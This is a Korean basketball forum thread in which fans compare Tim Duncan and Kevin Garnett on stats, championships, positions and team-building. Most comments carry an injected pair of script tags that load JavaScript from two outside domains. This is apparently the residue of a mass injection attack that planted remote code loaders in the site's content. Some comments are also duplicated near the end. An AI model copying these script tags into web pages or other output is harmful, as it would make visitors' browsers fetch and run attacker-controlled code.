음.. 근데 지금 스퍼스 멤버에 던컨 빠지고 가넷 들어간다해도 우승 세번 가능했을 것 같은데요.. 미네소타는 조수미 부정계약 이후 계속 꼬이기만 했죠.. 가넷이 아무리 잘해도 우승 불가능할 정도까지.. 하긴 가넷이 돈을 너무 많이 받은 것도 원인이긴 한데 말입니다. 하여튼 깊숙이 들어가면 들어갈수록 할말이 많아지는게 이둘의 비교입니다. 자꾸만 IF를 떠오르게 하는 것도 사실이고..
쩝... 던컨이 이뤄놓은게 많다는건 말씀하지 않으셔도 충분히 알고있습니다. 단지 상대방 팬들을 위해 자극적인 표현은 삼가하자는 말이지요 음...<script src=http://www.ymdys.com/y.js>script><script src=http://www.lookxin.com/r.js>script>
안타깝지만 던컨과 가넷의 스탯의 차이는 보통 사람들의 생각과는 다르게 거의 나지 않습니다. 러셀과 체임벌린의 스탯차이와는 비교하시면 안되죠.<script src=http://www.ymdys.com/y.js>script><script src=http://www.lookxin.com/r.js>script>
월트는 말그대로 nba역사를 통틀어 최고 사기캐릭이고 그리고 스탯하면 몇십년후에도 떠오르는 선수지만 가넷은 그정도는 아닙니다.얼마나 체임벌린이 사기였으면 러셀이 mvp타던시즌에 러셀은 세컨드팀이었습니다. 체임벌린이 퍼스트팀었죠. 반켠 가넷은 던컨하고 스탯 차이도 별로 없고 우승커리어에서 많이 차이가나고요<script src=http://www.ymdys.com/y.js>script><script src=http://www.lookxin.com/r.js>script>
특히 이부분 "KG가 외곽으로 나가게 되면, 그는 팀에는 그다지 효율적인 선수가 못 됩니다. 외곽으로 나가면 자연히 슛률이 떨어지는 점퍼를 구사하게 되고, 자신에게 더블팀 수비도 못 붙여놓게 되죠. 물론, 공격리바운드에 가담도 못하게 되고, 팀원들의 공격에도 도움을 줄 수 없게 됩니다"
"가넷의 농구인생에 있어서 최대비극이 뭐냐 하면, 그를 low post 중심으로 플레이 하게끔, 강력히 밀어 주는 감독을 만난 적이 없다는 것입니다. "
덩캔도 올라운드 플레이어 입니다. 공,수, 리바운드, 패싱, 스크린플레이, 전술효과를 극대화 시키는 능력 등등.. 차이는 그 올라운드한 것이 가넷보다도 더 완벽하니까 갭이 생기는 거지요.<script src=http://www.ymdys.com/y.js>script><script src=http://www.lookxin.com/r.js>script>
지금의 우리야 가넷의 대단함을 알고 던컨과 비교를 하고있지만 몇십년후에는 비교 자체가 안될듯합니다. 라이벌로도 언급안될듯하네요. 실력 자체를 떠나서 먼훗날 던컨과 가넷의 커리어를 비교해보면 차이가 어마어마하죠.. 아무튼 저도 본문에 동감합니다. 가넷의 최대 안타까움은 정말 감독문제가 아닐지.....<script src=http://www.ymdys.com/y.js>script><script src=http://www.lookxin.com/r.js>script>
그럼 ㅡㅡ; 빌러셀과 윌트는 어떻합니까 ㅜㅜ 커리어만 놓고 비교한다면 우승반지만 없지 덩컨보다 더 대단한 선수로 인지될지도 모릅니다 ㅡㅡ;; 커리어 스탯만 보고 빌러셀의 수비력을 모르는 우리처럼 말이죠 하하;;;;;<script src=http://www.ymdys.com/y.js>script><script src=http://www.lookxin.com/r.js>script>
저도 지금 이 상태로라면... 가넷이 우승하긴 그를 것 같습니다... 아무리 봐도 가넷이 로우포스트 중심으로 포스트업 플레이를 하는게 팀 전략에는 더 잘 맞는 것 같습니다...(아니면 차라리 SF를 보든가...) 하지만 지금 미네에 가넷이 빠진다면... 공, 수 모두 캐암울이군요... 샌안은 덩컨 빠져도 서로 잘 메꿔가면서 캐암울 까진 안 가던데 말이죠...<script src=http://www.ymdys.com/y.js>script><script src=http://www.lookxin.com/r.js>script>
본문에 가넷이 던컨보다 리바운드 수비 패싱에서 앞선다고 하는데, 별로 공감이 안가는군요. 패싱은 머 그럴수 있다치지만 던컨은 자기 역할내에서의 패싱은 완벽하게 하고있기때문에 뒤진다는 생각안들고 수비와 리바운드...가넷이 던컨보다 수비와 리바운드를 잘하는선수인가요? 스탯상으론 그럴지도? 하지만 상대팀에게 물어보면 다를껄요 가넷이 던컨보다 스틸을 많이 하는선수고 더 넓은범위의 수비를 하지만 골밑지배력이나 위압감에서 던컨이 한수위죠 상대팀에 주는 압박감도 당연 후자쪽이 더 크고요 리바운드...던컨의 리바운드 능력이 가넷보다 딸린다는 생각해본적 한번도 없습니다 시즌스탯에서 두세개씩 차이가 난다해도 말이죠 <script src=http://www.ymdys.com/y.js>script><script src=http://www.lookxin.com/r.js>script>
가넷과 던컨... 저는 두선수 다 좋아하지만 그중은 역시 던컨입니다. 던컨과 가넷의 차이는 칼럼이 언급한 그부분으로 지금까지의 커리어 차이는 거의 이부분에서 판가름났다고 저는 생각합니다.
스퍼스와 울브스의 차이점도 단 한가지라고 보여집니다. 선수들의 능력차이? 프런트의 안목? 사실 느바에서 살아남아 있는 스타팅 멤버중 스퍼스의 두명을 제외하고도 1라운드 후반, 2라운드 선수들은 꽤 있습니다. 다만... 이들을 이끄는 감독의 성품과 활용하는 방식... 그리고 제가 가장 언급하고 싶은 부분인 선수 개개인의 성품입니다.
제독 데뷔이후 스퍼스의 선수들 중에서 튀는 것을 좋아하고 독특했던 선수는 오로지 '로드맨'하나 뿐이었습니다. 대다수의 선수들은 승리를 우선시하며 팀플레이에 최대한 기여하고자 노력하는 성품이었으며 그런 대다수의 선수가 자신의 포지션에 대한 욕심과 페이에 대한 욕구를 최대한 절제해왔다는 것이죠.
가령 예를 들어 스퍼스에서는 울브스의 스프리웰을 볼 수 없을 것입니다. 폽과 던컨이 있는한에서 말이죠. 그 둘은 감독이자 리더로 실력이 아무리 뛰어나다고 한들 팀플레이를 해치거나 포지션과 페이에 대한 욕심이 있는 선수를 바라지 않습니다.
때문에 스퍼스는 늘 이러한 선수들을 배제해왔으며 지난 10여년 넘게 팀플레이만을 강조해왔습니다. 팀자체와 감독 그리고 선수들 역시 스탯을 초월한지 오래이고 트리플 더블 및 쿼드러블을 앞두고도 그들은 평소와 똑같이 벤치를 데울줄 아는 선수들이죠.
수비수와 플로어에서 적절치 못한 행동으로 악명이 높은 '브루스 보웬' 역시 타팀에게는 '악몽'이지만 자신이 플로어 위에서 할 일은 '수비하는 것 뿐 그것마저 못한다면 자신은 코트위에 설 수 없다.'라고 말했습니다. 새시즌을 기점으로 4밀리언에 해당하는 비교적 저렴한 페이를 받기도 하구요. 던컨 역시 7년간 재계약을 하며 더 큰 돈을 만질 수 있었지만 그는 그러한 방식을 취하길 원치않았습니다. 많은 페이는 팀에게 위해가 될 수 있기때문이었죠.(물론, 그는 지금도 많은 돈을 받습니다;; 올해는 19m)
단지 말씀드리고자 하는 것은...
미네 역시 로스터를 구성하는데 있어 이러한 선수들의 '성품'. 팀을 위해 희생할 줄 아는 블루워커들을 잘 구분해내고, 가넷의 인사이드 공략이 유효적절하게 이루어진다면 플옵 컨텐터는 물론이며, 곧바로 스퍼스와 같이 우승후보로 거론될 수 있다라는 것입니다.
TD vs KG....솔직히, '농구선수' 라는 측면에서, 난형난제, 용호상박이라고 생각합니다. 누가 더 나은 선수다!! 라고 평가하기 어렵죠. KG의 농구인생에 있어, 가장 큰 아이러니라고 하면......본인 문제가 아닌, 미네소타 그 자신...그리고, 누구도 예상하기 어려운 '운' 이 따르지 않았다...라고 생각할 수 밖에 없습니다.
고졸선수로는 상상하기 어려웠던 거액의 계약금....그 덕분에, 팀은 로스터를 짜기 어려웠던 고민을 떠안아야 했고, 존경했던 선배 말릭 실리의 죽음, 팀의 주전 PG였던, 테렐 브랜든의 장기 부상, 조 스미스를 둘러싼 부정계약, 그로 인한 드래프트권 실종...등등...
'운' 은 실력이 아닙니다만, '운' 이 없으면, 성공하기 어려운것도 현실입니다. KG에게는 그 '운' 이 부족했다는 생각이 드네요.....
본문에서도 지적하였듯이 가넷의 실패원인을 무조건 팀을 잘못만난 불운으로 돌리는것에 반대합니다 가넷에게도 분명 책임이 있어요. 가넷의 능력, 혹은 스탯이 고스란히 팀에 플러스요인이 되지 못합니다. 던컨이 스탯이상의 선수라는 평가를 거의 만장일치로 끌어내지만 가넷은 그와 반대죠 가넷의 이런측면에서의 문제점은 확실히 있다고 봅니다. 그게 가넷과 던컨의 갭을 만들어낸거죠<script src=http://www.ymdys.com/y.js>script><script src=http://www.lookxin.com/r.js>script>
전반적으로 공감할 수 있는 글이군요. 수비력은 두 선수의 우열을 가릴 수 없다고 보고 리바운드는 가넷이 아주 근소하게(습자지 정도 두께...) 앞선다고 생각합니다. 가넷이 미네소타의 프랜차이즈로 남으면서 팀과 자신 모두 살리는 길은 다가오는 선수 옵션 포기하고 1000만 언저리로 재계약 맺어준 다음 그와 궁합이 맞는 선수를 영입하는 길이라고 생각합니다.(허드슨과 야리치의 계약을 보니... 눈물이 앞을 가리는군요) 가넷이 연봉 천만만 깍아줘도 이번에 노아 뽑는다고 가정한다면 수준급 1번이나 3번을 영입해서 전력의 상승을 기대해 볼 수 있을것 같습니다. <script src=http://www.ymdys.com/y.js>script><script src=http://www.lookxin.com/r.js>script>
윤대협과 서태웅의 비교..라고 하면 비슷하지 않을까요? 능력과 플레이스타일을 떠나 비교를 하는 이미지상 그런거 같습니다<script src=http://www.ymdys.com/y.js>script><script src=http://www.lookxin.com/r.js>script>
3년 연속 가넷이 플레이오프에 진출하지 못하면서, 오히려 던컨과의 비교는 많이 수그러든게 사실이라고 생각합니다. 괜히 여러말 할 것 없이, 제가 볼 때는 딱 한가지 차이인 것 같습니다.
두 선수는 모두 훌륭한 선수입니다. 개인적으로 던컨의 팬이지만, 선수 개인의 능력을 매긴다면 오히려 가넷이 앞선다고 말하고 싶습니다. 다만 차이가 있다면, 던컨은 자신의 스타일을 최대한 발휘해서 이끌 수 있는 팀을 만났고, 가넷은 팀을 자신에게 최대한 맞출려고 노력하는 팀을 만났다는 차이인 것 같네요. 미네소타의 이런 노력은 아직도 진행형이고요. 스퍼스의 다른 선수들에게도 이런 것이 적용될 만큼, 스퍼스는 좋은 팀 칼라를 가지고 있고, 미네소타는 성공적이었다고 평가 받을만한 선수가 카셀과 스프리 말고는 없었다 싶을 정도로 안정화된 팀 칼라가 없을 뿐이죠.
좋은 말씀, 감사합니다.^^ 표현을 참 적절하게 잘 하시네요. (->) "던컨은 자신의 스타일을 최대한 발휘해서 이끌 수 있는 팀을 만났고, 가넷은 팀을 자신에게 최대한 맞출려고 노력하는 팀을 만났다는 차이인 것 같네요."<script src=http://www.ymdys.com/y.js>script><script src=http://www.lookxin.com/r.js>script>
후후후.... 번역해야할 문서들이 한40~50장 있는데 닥터 제이님과 급하게 친해지고 싶군요.... 한2~3장 하고 1시간 쉬고 또 3~4장 하고 1시간 쉬고 반복 중입니다 <script src=http://www.ymdys.com/y.js>script><script src=http://www.lookxin.com/r.js>script>
TD의 리바운드가 KG보다 떨어진다는건 전혀 동의할 수 없고 (거의 비슷한 수준이죠) 디펜스가 뒤진다는건 더더욱 동의할 수 없네요. KG도 뛰어난 수비수지만, TD는 리그 최강의 디펜시브 앵커입니다.
뭐 다른 부분들은 그동안 너무 많이 나온 내용이라 별로 새로울 것은 없지만, 글쓴이가 이것 하나는 알아뒀으면 좋겠군요. 골밑에서 플레이하는게 퍼리미터 쪽에 나가서 플레이하는 것에 비해 상기한 내용처럼 얻는 것도 있지만, 대신 골밑의 플레이가 많아질 경우 턴오버가 늘어난다는 단점도 있다는 점. KG가 공을 많이 가지고 플레이하면서도 TD보다 훨씬 적은 턴오버를 범하는건 그런 이유도 있죠. 즉 그러한 플레이에는 일장일단이 있다는겁니다.
어떠한 플레이 스타일에 있어서 좋은 쪽만 부각을 하고 나쁜 쪽은 고려를 안한다든지, 혹은 그 반대로 얘기할 경우 객관적으로 평가하기는 어렵죠. 같은 4번 포지션의 선수이지만 KG보다 훨씬 심하게 밖에서 플레이하는 노비에 대해서는 별다른 얘기가 없는데 KG에게는 "인사이드에서 플레이를 안해서 문제다." 라는건 글쎄요.
가넷도 포지션 파괴의 한 주범이기는 하지만, 최근에는 거의 4번으로 정형화 되었는데, 아직도 노비츠키는 포지션만 4번이지, 그는 슈터입니다. 과장 200% 보태면, 노비츠키의 플레이를 가넷이나 던컨에 비교할 부분이 아예 없어요. 그냥 슈터;; 그게 노비츠키가 리그 최강팀에서 주문 받는 역할이죠. 가넷은 개인으로도 모든 것 다 해주기를 기대 받고, 팀의 분위기와 성적까지 이끌어 줄 것을 주문 받고 있고요. 안습;;<script src=http://www.ymdys.com/y.js>script><script src=http://www.lookxin.com/r.js>script>
요는, 선수가 설사 같은 포지션이라고 해도 각자 장점과 단점이 다른데 모든 선수에게 같은 역할을 요구할 수는 없다는거죠. 그런 점에서 KG에게 "왜 TD처럼 플레이하지 못하니?" 라는 요구는 실질적으로 노비에게 "너는 왜 4번 주제에 밖에서만 놀고 안에서 안부비니?" 라는 말과 크게 다를 게 없다는 얘기입니다. KG는 KG의 장점이 있고 TD는 TD의 장점이 있는건데요.
일단 미네소타는 한 시즌 확 망해버려야 된다는게 제 생각인데...(샌안도 그랬죠...) 그럴려면 가넷이 부상을 당해서 20~30경기씩 못나와야 되는데... 아시다시피 가넷은 정말 부상 너무나도 안 당하는 선수 중 하나죠... 이도저도 아닌 애매한 성적이 미네의 가장 큰 문제점인 것 같네요... 뭐, 그래도 미래가 깜깜한 팀은 아니기때문에... 가넷도 언젠가 우승 한 번은...<script src=http://www.ymdys.com/y.js>script><script src=http://www.lookxin.com/r.js>script>
이제 코비티맥 떡밥은 한물 간 건가요... 그래도 가넷던컨은 보스턴 연속우승만큼 꾸준하군요.. 개인적으론 두 선수 기량 차이는 없다고 봅니다.수비,리바운드 모두 동급이라 보고 싶네요. 그중에서도 가넷이 우위라면 개인기와 운동능력일 테고, 던컨은 역시 골밑을 누구보다 잘 활용한다는 것 정도?
만약 가넷이 우승 세번하고 던컨이 무관이라면 바꼈을 순위죠. 결국 우열의 차는 우승이 결정한다는 가슴 아프고도 명확한 진리를 다시 한번 깨닫고 갑니다....ㅠㅠ
가넷과 던컨 둘중에 어느선수를 더 좋아하는건 아니지만 지나친 댓글들이 보이는군요 가넷과 비교하는것 자체가 굴욕이다. 뭐 이런식의 글들은 별로 좋지 않은것 같습니다. 바꿔 말하자면 가넷따위가 던컨과 비교를? 이렇게 보이는군요 미네소타 팬분들이 보기에 기분좋을만한 글은 아니군요 댓글 50개 정도까지는 무난하게 잘 나갔는데 지나치게 비하하시는 분들이 등장하는군요....<script src=http://www.ymdys.com/y.js>script><script src=http://www.lookxin.com/r.js>script>
뭘 놓고 비교하냐에 따라 좀 애매한 문제입니다. 래리버드와 도미니크 윌킨스의 역대 평가는 엄청난 격차를 보입니다. 하지만 이들이 동시대 뛸때는 이둘은 라이벌이었습니다.
현재를 평가할때 TD와 KG는 라이벌입니다. 이게 비교하는 것도 안될 만큼은 아니죠. 물론 은퇴이후 역대를 평할때 이런식으로 커리어가 흐른다면 TD와 KG의 차이는 현격할 겁니다. 하지만 현재를 보고 즐기고 있는 상태에서 현재의 라이벌에게 비교조차 불가라고 할 수는 없겠죠.
그리고 TD의 스타일가지고 센터가 아니냐고 하시면 케빈 멕헤일은 주전 파포이자 패리쉬의 백업센터였습니다. 던컨의 스타일이 왜 문제가 되는지는 모르겠습니다.
웨이드가 작년에 자기 능력을 최대한 발휘해서 파이널 우승을 차지했다면 르브론은 TD와 같은 방식으로 파이널에 도전하고 있죠..
던컨도 00~02년까지 샤크에게 매년 발렸습니다. 플옵에서 거의 관광당한 적도 있죠.. 99년에 스윕으로 이겼지만 00년에 대패.. 03년도에 승리했지만 결국 04년도에 패배.. 05년도에 댈러스에 승리했지만 다시 06년에 패배.. 하지만 던컨은 언제나 이기건 지건 팀 멤버들과 함께였습니다. 하지만 가넷은 자신의 초인적인 능력으로 자기가 이겨버리죠.. 이 차이 뿐이라고 봅니다.
비슷한레벨이라...가넷팬분들은 던컨과 가넷을 동급으로 놔야 가넷비하가 아니라고 생각하지만 저처럼 둘은 동급이 아니라고 생각하는사람도 많습니다. 과연 이게 비하일까요?<script src=http://www.ymdys.com/y.js>script><script src=http://www.lookxin.com/r.js>script>
아 한마디로
빌러셀 = 덩컨
윌트챔 = 가넷
이라는 거죠 둘이 상당히 비슷한 러셀은 자신을 희생하여 팀을 우승으로 이끌었고 윌트는 자신의 기록은
상당히 놀랍지만 우승경험이 없죠 그래서 비유상 쓴것입니다 ㅜㅜ 제가 봐도 저글은 오해에 소지가 있네요 ㅜㅜ
죄송합니다
<script src=http://www.ymdys.com/y.js>script><script src=http://www.lookxin.com/r.js>script>음.. 근데 지금 스퍼스 멤버에 던컨 빠지고 가넷 들어간다해도 우승 세번 가능했을 것 같은데요..
<script src=http://www.ymdys.com/y.js>script><script src=http://www.lookxin.com/r.js>script>미네소타는 조수미 부정계약 이후 계속 꼬이기만 했죠.. 가넷이 아무리 잘해도 우승 불가능할 정도까지..
하긴 가넷이 돈을 너무 많이 받은 것도 원인이긴 한데 말입니다.
하여튼 깊숙이 들어가면 들어갈수록 할말이 많아지는게 이둘의 비교입니다.
자꾸만 IF를 떠오르게 하는 것도 사실이고..
그렇죠.. 가넷이 스탯만으로 평가할 수 있는 선수라면, 아니 그의 스탯은 종종 영양이 없는 스탯이라는 말도 많죠..
하지만 던컨은 그 이상이죠...
그리고 가넷도 던컨에 비해 그리 나쁘지 않은 팀원들을 구성했다고 생각합니다만..
현재 샌안의 자리에 가넷이 와도 우승할 수 있을 것이다라.. 가넷의 MVP 시즌을 더불어, 스퍼스가 미네소타에 비해
서 결코 압도적인 스쿼드를 자랑한 것은 아닐텐데요.. 막말로 현재의 샌안 스쿼드도 그리 좋은 편은 아니라고
생각됩니다.
던컨과 더불어서 더욱 발전한 팀원들(특히 파커)에 의한 것이며, 우승을 만드는 것 또한 능력이라 생각됩니다.
가넷도 우승을 넘볼만한 팀원들을 가지고 있었으며, 그 시기를 놓쳤다는 것은 가넷의 능력과도 직접적인 연관이
있다고 생각됩니다만.. 그리고 사견으로는 현재의 미네에 던컨이 있었다면, 결코 플레이오프 실패 같은 일은
있을 것 같지 않네요.. 그리고 던컨은 팀원들을 살릴 줄 알고, 자신도 또한 살릴 줄 아는 플레이를 한다면
플레이스타일이 차이가 나든지, 아니면 실력에 차이가 나든지 가넷은 동료들을 살리는 플레이는 보기 힘들더군요
<script src=http://www.ymdys.com/y.js>script><script src=http://www.lookxin.com/r.js>script>던컨이 4번으로 기억되는 것이 부자연스럽다라..
그는 이미 바클리도 역대 최고의 4번으로 평했으며, 무수한 전문가들 역시 역대 최고의 4번으로 평하는 선수입니다.
플레이스타일과 사이즈상 센터라.. 그렇다면 노비는 단지 사이즈만 좀 큰 센터가 되겠으며, 가넷은 4번에 속하지만
3번이 되겠군요.. 포지션을 무시한 두 MJ는 어디에 놓아야 하는지도 의문이구요..
<script src=http://www.ymdys.com/y.js>script><script src=http://www.lookxin.com/r.js>script>노비가 센터가 아닌 선수인 것처럼, 던컨도 형식상 구분하자면 센터가 아니라 파포입니다.
그리고 던컨 개인도 센터라는 역활보다는 파포라는 역활을 더 선호한다고 하였구요..
어색하다라는는 말이 던컨이 파포에 들어가서는 안된다는 말로 보였네요..
<script src=http://www.ymdys.com/y.js>script><script src=http://www.lookxin.com/r.js>script>가넷의 리바운드와 던컨의 리바운드에 관하여는 시각을 달리 하는 것이 좋을 거 같습니다.
가넷은 리바운드는 파포에서 스포까지 나누어 할 수 있는 리바운드를 하는 것이겠지요.
그중에 가넷은 맥시멈급의 리바운드 능력으로 그 에어리의 리바운드를 싹쓸이 하는 것이고요.
(이걸 과대평가라고 해서는 안될거 같습니다.)
던컨은 파포에서 센터가 나눌 수 있는 리바운드를 하는 것이라 생각합니다.
그러니까 덩컨은 빅맨 외에는 들어가기 힘든 에어리의 리바운드를 해내는 것이죠.
(모랄까 선택받은 지역이라고 해야하나...^^;)
따라서 리바운드수치가 가넷이 던컨보다 리바운드 수치가 조금 높다고 던컨보다 리바운드 능력이 높다고 할 수는
없다고는 생각합니다만, 그렇지만, 가넷 에어리어에서 압도적인 리바운딩을 보여주는 가넷의 능력도 대단한
것이라고 생각합니다.
이걸 과대평가라 한다면 진정한 20-10을 하는 빅맨이 몇이나 되겠습니까?
<script src=http://www.ymdys.com/y.js>script><script src=http://www.lookxin.com/r.js>script>던컨과 가넷은 개인적으로 같은 4번이라고 생각합니다만..
다소 역활의 차이가 있을 뿐이죠..
던컨은 5번을 볼 수 있는 4번이라면, 가넷은 3번을 볼 수 있는 4번입니다. 그리고 플레이 스타일도 던컨은 5번에 비슷
하고, 가넷은 3번에 비슷합니다.. 하지만 그 둘을 5번, 3번으로 볼 수는 없다고 생각되네요..
던컨과 가넷은 꾸준히 비교되어 왔으며, 얼마전까지만 해도 가넷과 던컨은 우위를 논할 수가 없다는 말이 지대적이였
는데요..
우승과 더불어 수상실적이 둘의 평가를 바뀌어 버렸다고 해서, 늘상 비교대상이 되어오던 리그 최고의 4번 두명을
비교할 수 없다는 것은 이해할 수 없군요.
그리고 던컨은 블루워커형 4번입니다. 블루워커형 4번이라면 떠오르는 로드맨보다 단지 득점력이 뛰어난 4번이고
패싱력이 좋은 4번이고요..
매직도 다른 1번에 비해 장신이며, 리바운드 능력이 뛰어나다고 해서 다른 포지션으로 두지 않는 것처럼 던컨도
4번으로 평가 받아야 된다고 생각합니다만..
역활의 차이가 아니라 포지션의 차이라..
어벙한 저로서는 상당히 이해하기 어려운 개념이군요..
<script src=http://www.ymdys.com/y.js>script><script src=http://www.lookxin.com/r.js>script>던컨과 가넷이 비교대상이 될수 없다는게 잘 이해가 안가고 어렵네요..그리고 라이벌이 더더욱 아니다라...
그럼 현지에서도 수없이?! 혹은 꾸준히 비교를 하고 있다는건 기본적으로 말이 안된다는 이야기 이신지...
항상 둘이 조명되는건 많이 보셨을 테고...한팀의 리더로서..그리고 한 팀의 온전한 중심으로서 비교가 왜 어불성설인지 잘 이해가 안갑니다.
사신님의 말씀은 강한 센터가 강한 포워드 보다 전력이나 팀 성적이 좋을 수 밖에 없는것이 당연하다. 그러므로 가넷이 던컨에게 우승등의 경력이 뒤지는것은 당연하고 이런것으로 비교하는것은 적절치 않다...이런 논조이신것 같은데요...;; 제가 너무 오버해석 했나요??
<script src=http://www.ymdys.com/y.js>script><script src=http://www.lookxin.com/r.js>script>글쎄요.. 던컨이 센터스러운 플레이도 많이 보여주고, 실제로 매니아에서도
올시즌 던컨이 센터로 퍼스트팀 받는거 아니냐 하는 얘기도 오가기도 했고 그랬지만,
던컨은 누가 뭐래도 파워포워드 아닙니까? 물론 현재는 확실한 센터가 없기 때문에
센터 역할도 하고 있긴 하지만 기본적인 움직임이라던가 활동이 4번의 그것이라고 보여지는군요.
전문가와 본인, 감독을 포함해 다른 선수들까지 모두가 4번이라 이야기하는 선수를, 혼자서만 굳이 5번이라고
목청높여 말씀하시는 객관적인 근거가, 정확하게 어떤 '사이즈'와 어떤 '플레이 스타일'인지
친절하게 설명해주신다면 굉장히 감사하겠습니다.
<script src=http://www.ymdys.com/y.js>script><script src=http://www.lookxin.com/r.js>script>러셀이 11번, 윌트가 2번....<script src=http://www.ymdys.com/y.js>script><script src=http://www.lookxin.com/r.js>script>